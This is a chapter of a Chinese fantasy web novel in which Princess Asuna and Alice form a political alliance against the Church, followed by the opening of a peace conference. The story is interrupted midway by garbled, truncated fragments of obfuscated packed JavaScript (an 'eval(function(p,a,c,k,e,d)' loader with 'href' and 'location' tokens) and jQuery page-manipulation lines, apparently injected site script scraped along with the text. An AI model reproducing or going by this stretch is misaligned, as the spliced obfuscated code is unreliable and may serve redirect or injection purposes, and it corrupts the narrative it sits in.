亚丝娜眯起眼睛，视线与爱丽丝交汇。


帐篷内一片寂静，半晌后，亚丝娜忽然轻笑了一声，眼神意味深长：“你知道吗，爱丽丝，我本以为你会用更‘传统’的方法来说服我，比如承诺更多的金钱、资源，或者某种军事上的支持。”


“但你却在提醒我——我自己早已有了立场。”


爱丽丝淡淡一笑：“因为我知道，公主殿下想要的，从来不是简单的利益交换。”


她顿了顿，轻声道：“您要的是一条出路。”


亚丝娜微微一震，指尖在桌面上轻轻摩挲，眼中暗光浮动。


是的，她确实需要一条出路。


这一路上遭遇的劫杀、陷阱、中毒……她又怎会真的相信这些不过是单纯的“意外”呢？


在帝都，她只要不死，就永远是皇帝的眼中钉，随时面临着来自亚尔曼的威胁，然而，直到这次出行，她才真正意识到——除了皇帝，暗中或许还有其他势力想谋杀自己，比如……有实力也有动机这样做的教会。


如果她作为帝国派出的代表死在前来主持谈判的路上，那么教会就有充分的理由栽赃约因郡，从而使帝国和他们站在一边，帮助他们达到抹杀并侵占约因郡，以及最终进一步蚕食帝国北境的目的。


对此公主殿下感到了一种冰冷的愤怒。


她亚丝娜·劳伦德出身高贵，坐拥无数财富，手下也不缺能人异士，就连新皇都要对自己忌惮三分，可在教会眼里，她的性命竟然只是一枚可以利用的棋子——最大的作用是用来挑拨帝国和约因郡的关系，而自己甚至连回到棋盘的机会都未必会有。


她的死，不仅仅符合皇帝的利益，同样符合教会的利益。


爱丽丝似乎看穿了她的沉思，柔声道：“殿下，我想以您的聪明才智，有些事情不用我说您也一清二楚，但我还是想给您一句忠告——必要的打算，还是早做为好。”


亚丝娜瞳孔微缩，盯着爱丽丝半晌，忽然轻笑了一声：“你的意思是，你就是那个‘好的打算’？”


“至少不差。”爱丽丝不动声色地抚了抚桌上的花纹，语气轻描淡写，“当然，前提是殿下愿意相信我——或者说，愿意相信自己的判断。”


亚丝娜深深地看着她，指尖依旧轻轻敲击着桌面，节奏缓慢而沉稳，如同她冷静思索时的习惯性动作。


耶尔和马里默不作声地盯着这一场没有硝烟的交锋，看两位女性的目光交汇，彼此试探，彼此较量。


“爱丽丝。”亚丝娜缓缓开口，语调带着一丝玩味，“你让我很难不怀疑，你究竟是何时开始筹划这一切的。”


爱丽丝笑了笑：“殿下的疑心过重了。”


“是吗？”亚丝娜抬眸，眼中闪烁着危险的光，“你愿意在谈判前主动来见我，必然是有充分把握我会与你合作……可我若是拒绝呢？”


“您会吗？”爱丽丝优雅地摊开手，语气泰然自若，“无论是皇帝陛下还是隐藏在背后的‘那个势力’，您当真愿意与他们求和吗？”


“更何况，就算您放下身段屈居他们之下，待到最后他们中的一方坐稳，您的处境又会如何呢？是侥幸有个好结局？还是成为过完河的桥？”


亚丝娜微微一怔，随即低笑了一声，眼底的冷意逐渐转为欣赏。


是的，皇帝的算盘她再清楚不过，而教会的阴谋虽然隐晦，但从最终得利者的角度来推算，也自然能识破他们的诡计。


眼下，爱丽丝的确是最合适的同盟，因为某种意义上来说她和自己有着共同的敌人，若能够抱团取暖，总比各自单打独斗要强。


那么，需要考虑的就是该如何合作的问题了。


“好吧，”亚丝娜轻轻翘起唇角，眼中暗光浮动，“假设我愿意与你合作，约因郡又能为我提供什么呢？”


爱丽丝微微一笑，缓缓道：“首先，是对抗教会的立场。”


“帝国皇室可以容忍教会在帝国境内扩张，但殿下您能容忍教会差点将您送入坟墓吗？光明神苏醒后，教会的野心已经遮掩不住了，帝国若继续对他们放任自流，迟早会被彻底吞并，而您，恐怕会是第一个被清理掉的障碍。”


亚丝娜神情微微一僵，指尖收紧。她何尝不明白这一点？只是她没想到，爱丽丝会如此直白地点破。


“所以，我站在殿下这一边。”爱丽丝语气温和，却透着不容置疑的笃定。


亚丝娜轻笑了一声，不置可否，却没有否认。


她唤人送上了美酒，随后端起酒杯，轻轻晃动着琥珀色的液体，半晌后，终于缓缓开口：“……那第一步，你打算怎么做？”


爱丽丝看着她，微微一笑，眸中透出深远的光芒：“在谈判桌上，我会当着各国代表的面对教会发起攻讦，让全大陆意识到他们的真正野心，也倒逼帝国表态——因为我将给予帝国不站在他们那边的理由。”


她顿了顿，补充道：“当然，前提是，殿下愿意配合。”


亚丝娜轻轻抿了一口酒，眼中闪过一丝玩味，随即微微挑眉，似笑非笑地看向爱丽丝：“听起来，你已经胸有成竹了。”


她缓缓放下酒杯，指尖轻轻敲击着杯壁：“你不会只是打算在谈判桌上空口指责吧？要让帝国乃至其他国家动摇对教会的信任，仅凭言辞可不够。”


她饶有兴趣地盯着爱丽丝：“所以，你是不是还准备了什么大动作？”


爱丽丝眨了眨眼，唇角微微勾起，露出一个意味深长的笑容。


“殿下，你的直觉果然一如既往地敏锐。”她轻轻抚了抚桌上的花纹，慢条斯理地道，“不过呢——惊喜如果提前揭晓，就不够有趣了。”


亚丝娜见她这副模样，顿时有些哭笑不得，忍不住轻嗤一声：“你这态度，让我不由得开始怀疑自己到底是盟友，还是被你算计的可怜人。”


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15145681|140012||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


爱丽丝唇角弧度不变，眼中闪烁着神秘的光：“殿下，在一盘棋局中，往往能看透局势的人，才不会成为被算计的棋子。”


亚丝娜挑了挑眉，心中对即将到来的谈判愈发期待了起来。她端起酒杯，与爱丽丝轻轻碰了一下，嘴角带笑：“那我就拭目以待，看你能玩出什么花样了。”


……


翌日，爱丽丝带着耶尔和马里厅长，踏上通往浮空岛的浮桥。


长桌已经摆好，而此刻，各方代表已陆续抵达，三公主亚丝娜带领的帝国使团，以及来自各王国与公国的特使均已落座。今日的公主殿下身着一袭华丽却不失威仪的深红色长裙，腰间佩戴着一枚象征皇室的金色徽章，手中持着一柄雕刻着繁复花纹的华丽折扇，轻轻掩着嘴角的微笑。


但场上还有另一位引人注目的女性，那便是端坐于主位之一的新任圣女——勒梅·福克斯。


她身着圣洁的白金长袍，铂金发丝柔顺地垂落于肩，脸上的微笑温和端庄，无懈可击。


爱丽丝脚步微顿，深深地看了这位老熟人一眼，随后获得了对方颔首投过来的一个标准的神职者微笑。


爱丽丝勾了勾嘴角，带着神情淡漠的耶尔，以及一身深色官袍、神色沉稳的马里厅长缓步入座，目光不着痕迹地扫过在场的众人。


蒙德校长作为此次会议的主持人，环视一圈后，轻轻敲了敲桌面，沉稳地开口：“诸位，此次会议的目的，乃是为当前的神战之争寻求理智的解决方案，希望各位代表能在客观与公正的基础上，展开坦诚的讨论。”


“那么现在，请进行会谈的双方开始陈词。”


爱丽丝微微一笑，率先开口：“我们今天聚在这里，是为了讨论这场神战之争的前因后果，那么请问教会方的勒梅圣女，为什么在约因郡并未率先挑起争端的情况下，教会突然派出光明军，进攻我的领地？”


勒梅·福克斯端坐在光明教会的代表席上，面对爱丽丝的质问，她神色平静，仿佛早已预料到这一幕。


她缓缓开口道：“爱丽丝·巴列特，教会所做的一切，皆是为了维护世间的光明与秩序。约因郡的存在，已成为对信仰与神圣秩序的亵渎。”


她微微顿了顿，目光在众多代表席上一一扫过，声音透出一丝庄重：“光明神已降下神谕，指出约因郡是堕落之地，受黑暗势力侵蚀，若任其发展，将威胁整个大陆的和平。因此，教会才不得不采取行动，以净化邪恶，确保光明不被黑暗动摇。”


此言一出，会场内不少代表脸上露出了微妙的神色——光明神的神谕？这可不是简单的借口，最近光明神苏醒的消息的确在大陆上传得风风雨雨，如今看教会的口吻和姿态，这事竟然是真的？


如果光明神真的苏醒，且降下了这道神谕，那么他们恐怕就不得不慎重评估自己的立场了。


有一些国家的代表已经开始露出了深思的表情。